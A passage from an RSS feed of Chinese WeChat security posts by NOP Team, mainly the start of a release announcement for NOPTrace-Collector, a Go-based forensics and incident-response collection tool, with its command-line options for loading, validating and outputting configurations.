leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502819&amp;idx=1&amp;sn=66c9909519c95e1655978d666aba562d&amp;scene=21#wechat_redirect" textvalue="NOPTrace-Configurator 发布！" data-itemshowtype="0" linktype="text" data-linktype="2">NOPTrace-Configurator 发布！</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502852&amp;idx=1&amp;sn=3d3f29e38705cbb244c6774bf883997a&amp;scene=21#wechat_redirect" textvalue="NOPTrace-Collector 发布！" data-itemshowtype="0" linktype="text" data-linktype="2">NOPTrace-Collector 发布！</a></span></p></li></ul></div><p><span leaf=""><br/></span></p><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="NOP Team" data-alias="yidalidemao" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/fZT30hrVgRftxytNjJnL5eOVg23jso0f1Xjf2t8ibBgUvibZjvSkOxsQdP2trmzlpmwBIQU9CObUr93c6p1qNHmg/0?wx_fmt=png" data-signature="有态度，不苟同    No System Is Safe！" data-id="MzU1NDkwMzAyMg==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3f195254&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOXvkSDUl6BAEA5yrkXIGLsBwIKcrIhdMibloIAvofZXMhjg55KLBBg6A%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=10aededc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPORYiaRHDk0CqeUsAsxB2THPiabuJhRtLibB6gbnWlmEXn7MFiaU4lib5GE4w%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e63cb52b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247502889">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b3fd79fe&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247502889%26idx%3D1%26sn%3Dc4a7e09b6b4123c47812e7666abefc77">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 08 Jul 2025 19:22:00 +0800</pubDate>
    </item>
    <item>
      <title>NOPTrace-Collector 发布！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502852&amp;idx=1&amp;sn=3d3f29e38705cbb244c6774bf883997a</link>
      <description>愿心中的火永不熄灭！</description>
      <content:encoded><![CDATA[<p>
原创 <span>NOP Team</span> <span>2025-07-04 20:03</span> <span style="display: inline-block;">北京</span>
</p>

<p>愿心中的火永不熄灭！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b94c8b04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhyyTMuPhlNc3ggBnhVF3MPybR2w25kDaftUFKmupoKaBu7TGbe8Hbrg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p nodeleaf=""><mp-common-clmusic class="res_iframe clmusic_iframe js_uneditable custom_select_card" data-pluginname="insertaudio" type="1" music_name="相思" albumurl="http://wx.y.gtimg.cn/music/photo_new/T002R500x500M0000036ApPL3v2jVH_2.jpg" singer="毛阿敏" count="0" is_vip="1" duration="181000" music_source="1" listenid="78221626574959776"></mp-common-clmusic></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">简介</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">大家好，我们是 NOP Team</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这段时间，我们相继推出了 </span><strong style="font-weight: bold;color: black;"><span leaf="">OpenForensicRules</span></strong><span leaf="">、</span><strong style="font-weight: bold;color: black;"><span leaf="">NOPTrace-Configurator</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">其中 OpenForensicRules 给出了一套标准化的数字取证与应急响应信息采集规则格式规范；NOPTrace-Configurator 是基于此规范的配置器，可以有效帮助大家通过图形化的方式写出标准化的配置文件，让大家不必因为不了解 YAML 而困扰，而且可以直观地了解配置文件中的具体内容含义</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">今天，我们给大家带来了基于 OpenForensicRules 这套标准化的数字取证与应急响应信息采集规则格式规范的采集器 —— </span><strong style="font-weight: bold;color: black;"><span leaf="">NOPTrace-Collector</span></strong></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">项目地址： <a href="https://github.com/Just-Hack-For-Fun/NOPTrace-Collector" target="_blank">https://github.com/Just-Hack-For-Fun/NOPTrace-Collector</a></span></p></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">NOPTrace-Collector  采用 Go 语言开发，兼顾效率的同时，能够跨平台编译，大家可以直接去 Release 处下载最新版本的 NOPTrace-Collector 体验</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">功能介绍</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">NOPTrace 采用程序与配置分离的方式构建，大家下载最新版本后，可以使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">-h</span></code><span leaf=""> 参数来查看帮助信息<img data-imgfileid="100019174" class="rich_pages wxw-img" data-ratio="0.28703703703703703" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=8bfa0615&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhJFWJZ4FogqF8774nfic4vLic2rXZ6nlgJkH9ff9UV66popdyT6bF8yBw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">1. 加载默认配置文件</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">默认直接执行二进制程序会自动加载 </span><strong style="font-weight: bold;color: black;"><span leaf="">执行目录</span></strong><span leaf=""> 同级的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">configs</span></code><span leaf=""> 目录下的所有配置文件，包括子目录中配置文件</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019176" data-ratio="0.6444444444444445" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=69bc004c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhCEh01mBsATic5kAZN0m4uWjv8QDj9mj6iayl8wphvD2GQ8SDBNcUjJPQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">需要注意的是，是执行目录同级的  </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">configs</span></code><span leaf=""> 目录，而不是二进制程序所在的目录的同级  </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">configs</span></code><span leaf=""> 目录</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">2. 指定特定的配置文件夹</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">-C</span></code><span leaf="">  参数可以指定要加载的配置文件夹，此时默认的配置文件夹内的配置文件就不会加载了</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019173" class="rich_pages wxw-img" data-ratio="0.10648148148148148" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=9acdc460&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhOZ0R7H7trDsJA9VCZvVS7PtkDCwk4IFa9gtJkFPpEXAX9J3Uhs5HYg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">3. 指定特定的配置文件</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">-c</span></code><span leaf=""> 参数可以指定要加载的单一配置文件，此时默认的配置文件夹内的配置文件就不会加载了<img data-imgfileid="100019175" class="rich_pages wxw-img" data-ratio="0.125" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=270f4a84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhHssJQZWqZnOIJ5pmpvDPRvZThwj7CL3Hp2r7dphZoNRicp7DKmLIdjA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">4. 校验配置文件夹内的配置文件合法性</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">-V</span></code><span leaf="">  参数可以指定校验某个文件夹中所有的配置文件的合法性</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">只校验配置文件，不会加载并执行配置文件</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019177" class="rich_pages wxw-img" data-ratio="0.10277777777777777" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=7d2a6d6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhUKUnPsglNArnMiboz94gI0BDvCXpuI70CBkf7n8qePDg3I1gHq4RzZg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">5. 校验单个配置文件的合法性</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">-v</span></code><span leaf=""> 参数可以执行校验单一配置文件的合法性</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">只校验配置文件，不会加载并执行配置文件</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019182" class="rich_pages wxw-img" data-ratio="0.09444444444444444" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=1547dbc8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRen4w1tPCLcATrich4PMQlMhBzicLr0FFibh8NcMEwxfjoyLmWaXXeAOtNpnjJjJkfRgDjzCwyX2zGbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">6. 指定输出目录</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">-o</span></code><span leaf=""> 可以指定收集输出的结果目录，如果未指定，默认会在执行目录同级的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">./ForensicCollections</span></code><span leaf=""> 中输出结果</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019179" class="rich_pages wxw-img" data-ratio="0.16203703703703703" data-type="png" data-w="1080" style="display: 